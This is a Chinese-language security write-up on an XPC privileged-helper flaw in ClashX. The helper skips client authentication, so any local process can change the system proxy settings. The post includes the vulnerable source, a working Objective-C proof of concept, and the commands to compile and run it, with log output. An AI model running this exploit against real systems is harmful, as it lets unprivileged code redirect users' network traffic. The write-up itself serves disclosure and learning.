前言
XPC 为基本进程间通信提供了一种轻量级机制。它允许你创建称为 XPC 服务的轻型帮助程序工具,用于代表你的应用执行工作。 launchd
系统守护程序管理这些服务,按需启动它们,在空闲时关闭它们,并在它们崩溃时重新启动它们。
全局第三方 XPC 应用程序通常以PrivilegedHelperTool
的形式出现。这些工具通常由必须以 root 身份执行某些操作的应用程序安装。应用程序安装这些客户端工具来帮助它们执行特权操作,而不是在每次需要 root 时提升权限。
细节
ClashX 有一个 PrivilegedHelperTools XPC 服务:com.west2online.ClashX.ProxyConfigHelper
。
在 ProxyConfigHelper.m
文件中,它没有对连接的客户端进行身份验证的过程,因此允许我们自定义连接过程:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
// if (![self connectionIsVaild:newConnection]) {
// return NO;
// }
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProxyConfigRemoteProcessProtocol)];
newConnection.exportedObject = self;
__weak NSXPCConnection *weakConnection = newConnection;
__weak ProxyConfigHelper *weakSelf = self;
newConnection.invalidationHandler = ^{
[weakSelf.connections removeObject:weakConnection];
if (weakSelf.connections.count == 0) {
weakSelf.shouldQuit = YES;
}
};
[self.connections addObject:newConnection];
[newConnection resume];
return YES;
}
从 ProxyConfigRemoteProcessProtocol.h
文件中,我们知道 XPC 服务提供了以下方法:
@import Foundation;
typedef void(^stringReplyBlock)(NSString *);
typedef void(^boolReplyBlock)(BOOL);
typedef void(^dictReplyBlock)(NSDictionary *);
@protocol ProxyConfigRemoteProcessProtocol <NSObject>
@required
- (void)getVersion:(stringReplyBlock)reply;
- (void)enableProxyWithPort:(int)port
socksPort:(int)socksPort
pac:(NSString *)pac
filterInterface:(BOOL)filterInterface
ignoreList:(NSArray<NSString *>*)ignoreList
error:(stringReplyBlock)reply;
- (void)disableProxyWithFilterInterface:(BOOL)filterInterface
reply:(stringReplyBlock)reply;
- (void)restoreProxyWithCurrentPort:(int)port
socksPort:(int)socksPort
info:(NSDictionary *)dict
filterInterface:(BOOL)filterInterface
error:(stringReplyBlock)reply;
- (void)getCurrentProxySetting:(dictReplyBlock)reply;
@end
继续跟踪 enableProxyWithport
:遍历网络设备并设置代理设置:
- (void)enableProxyWithport:(int)port socksPort:(int)socksPort
pacUrl:(NSString *)pacUrl
filterInterface:(BOOL)filterInterface
ignoreList:(NSArray<NSString *>*)ignoreList {
[self applySCNetworkSettingWithRef:^(SCPreferencesRef ref) {
[ProxySettingTool getDiviceListWithPrefRef:ref filterInterface:filterInterface devices:^(NSString *key, NSDictionary *dict) {
[self enableProxySettings:ref interface:key port:port socksPort:socksPort ignoreList:ignoreList pac:pacUrl];
}];
}];
}
...
+ (void)getDiviceListWithPrefRef:(SCPreferencesRef)ref
filterInterface:(BOOL)filterInterface
devices:(void(^)(NSString *, NSDictionary *))callback {
NSDictionary *sets = (__bridge NSDictionary *)SCPreferencesGetValue(ref, kSCPrefNetworkServices);
for (NSString *key in [sets allKeys]) {
NSMutableDictionary *dict = [sets objectForKey:key];
NSString *hardware = [dict valueForKeyPath:@"Interface.Hardware"];
if (!filterInterface || [hardware isEqualToString:@"AirPort"]
|| [hardware isEqualToString:@"Wi-Fi"]
|| [hardware isEqualToString:@"Ethernet"]
) {
callback(key,dict);
}
}
}
...
- (NSDictionary *)getProxySetting:(BOOL)enable port:(int) port
socksPort: (int)socksPort pac:(NSString *)pac
ignoreList:(NSArray<NSString *>*)ignoreList {
NSMutableDictionary *proxySettings = [NSMutableDictionary dictionary];
NSString *ip = enable ? @"127.0.0.1" : @"";
NSInteger enableInt = enable ? 1 : 0;
NSInteger enablePac = [pac length] > 0;
在“getProxySetting”函数中,有一条语句 NSString *ip = enable ? @"127.0.0.1" : @"";
将IP限制为仅配置为127.0.0.1。不影响此漏洞仍可将系统代理更改为本地恶意代理地址。
Poc
- Wirte
poc.m
#import <Foundation/Foundation.h>
static NSString *XPCHelperMachServiceName =
@"com.west2online.ClashX.ProxyConfigHelper";
typedef void (^stringReplyBlock)(NSString *);
typedef void (^boolReplyBlock)(BOOL);
typedef void (^dictReplyBlock)(NSDictionary *);
@protocol HelperToolProtocol <NSObject>
@required
- (void)getVersion:(stringReplyBlock)reply;
- (void)enableProxyWithPort:(int)port
socksPort:(int)socksPort
pac:(NSString *)pac
filterInterface:(BOOL)filterInterface
ignoreList:(NSArray<NSString *> *)ignoreList
error:(stringReplyBlock)reply;
- (void)disableProxyWithFilterInterface:(BOOL)filterInterface
reply:(stringReplyBlock)reply;
- (void)restoreProxyWithCurrentPort:(int)port
socksPort:(int)socksPort
info:(NSDictionary *)dict
filterInterface:(BOOL)filterInterface
error:(stringReplyBlock)reply;
- (void)getCurrentProxySetting:(dictReplyBlock)reply;
@end
int main(void) {
OSStatus err;
NSString *service_name = XPCHelperMachServiceName;
NSXPCConnection *connection =
[[NSXPCConnection alloc] initWithMachServiceName:service_name
options:0x1000];
NSXPCInterface *interface =
[NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Error: %@", error);
}];
NSLog(@"[+] obj: %@ conn: %@", obj, connection);
[obj enableProxyWithPort:3333
socksPort:7777
pac:NULL
filterInterface:YES
ignoreList:NULL
error:^(NSString *error) {
NSLog(@"Error: %@", error);
}];
NSLog(@"[+] Done");
}
- Compile the
poc.m
clang -framework Foundation poc.m -o poc
- Run it
./poc
2023-05-26 13:34:45.313 poc[13498:214914] [+] obj: <__NSXPCInterfaceProxy_HelperToolProtocol: 0x15c0044f0> conn: <NSXPCConnection: 0x15b60c4d0> connection to service named com.west2online.ClashX.ProxyConfigHelper
2023-05-26 13:34:45.313 poc[13498:214914] [+] Done
已检查并成功设置系统网络代理设置:
总结
是个水洞,当学习XPC
了。